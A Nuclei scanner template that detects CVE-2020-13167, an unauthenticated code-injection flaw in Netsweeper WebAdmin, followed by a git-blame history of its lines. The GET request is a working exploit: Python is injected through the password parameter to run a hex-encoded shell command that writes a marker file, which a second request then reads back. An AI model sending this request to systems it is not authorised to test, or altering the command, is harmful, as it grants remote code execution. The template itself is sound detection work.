nuclei-templates/cves/2020/CVE-2020-13167.yaml

id: CVE-2020-13167

info:
  name: Netsweeper <=6.4.3 - Python Code Injection
  author: dwisiswant0
  severity: critical
  description: Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.
  reference:
    - https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/
    - https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-13167
    cwe-id: CWE-78
  metadata:
    hex-payload: echo "bm9uZXhpc3RlbnQ=" | base64 -d > /usr/local/netsweeper/webadmin/out
  tags: cve,cve2020,netsweeper,rce,python,webadmin

requests:
  - method: GET
    path:
      - "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5"
      - "{{BaseURL}}/webadmin/out"

    headers:
      Referer: "{{BaseURL}}/webadmin/admin/service_manager_data.php"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "nonexistent"
        part: body

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/05/16
misc changes 2021-01-02 04:56:15 +00:00			`id: CVE-2020-13167`
:fire: Add Netsweeper WebAdmin PreAuth RCE - CVE-2020-13167 2020-07-07 19:26:15 +00:00
			`info:`
Enhancement: cves/2020/CVE-2020-13167.yaml by mp 2022-05-16 17:37:08 +00:00			`name: Netsweeper <=6.4.3 - Python Code Injection`
:fire: Add Netsweeper WebAdmin PreAuth RCE - CVE-2020-13167 2020-07-07 19:26:15 +00:00			`author: dwisiswant0`
			`severity: critical`
Enhancement: cves/2020/CVE-2020-13167.yaml by mp 2022-05-16 17:37:08 +00:00			`description: Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.`
Removed pipe (\|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-18 11:37:49 +00:00			`reference:`
Add references 2021-03-11 16:45:17 +00:00			`- https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/`
			`- https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 9.8`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2020-13167`
			`cwe-id: CWE-78`
Metadata attribute update 2021-09-16 15:54:33 +00:00			`metadata:`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`hex-payload: echo "bm9uZXhpc3RlbnQ=" \| base64 -d > /usr/local/netsweeper/webadmin/out`
			`tags: cve,cve2020,netsweeper,rce,python,webadmin`
:fire: Add Netsweeper WebAdmin PreAuth RCE - CVE-2020-13167 2020-07-07 19:26:15 +00:00
			`requests:`
			`- method: GET`
			`path:`
:hammer: Update payload due to false-positives - CVE-2020-13167 2020-07-08 20:02:14 +00:00			`- "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5"`
			`- "{{BaseURL}}/webadmin/out"`
Coverage for all templates using tags 2021-09-09 13:38:13 +00:00
:fire: Add Netsweeper WebAdmin PreAuth RCE - CVE-2020-13167 2020-07-07 19:26:15 +00:00			`headers:`
removed extra headers not required for template 2021-09-08 12:17:19 +00:00			`Referer: "{{BaseURL}}/webadmin/admin/service_manager_data.php"`

:fire: Add Netsweeper WebAdmin PreAuth RCE - CVE-2020-13167 2020-07-07 19:26:15 +00:00			`matchers-condition: and`
			`matchers:`
			`- type: word`
			`words:`
			`- "nonexistent"`
			`part: body`
removed extra headers not required for template 2021-09-08 12:17:19 +00:00
:fire: Add Netsweeper WebAdmin PreAuth RCE - CVE-2020-13167 2020-07-07 19:26:15 +00:00			`- type: status`
			`status:`
description 2020-08-25 22:52:00 +00:00			`- 200`
Enhancement: cves/2020/CVE-2020-13167.yaml by mp 2022-05-16 17:37:08 +00:00
			`# Enhanced by mp on 2022/05/16`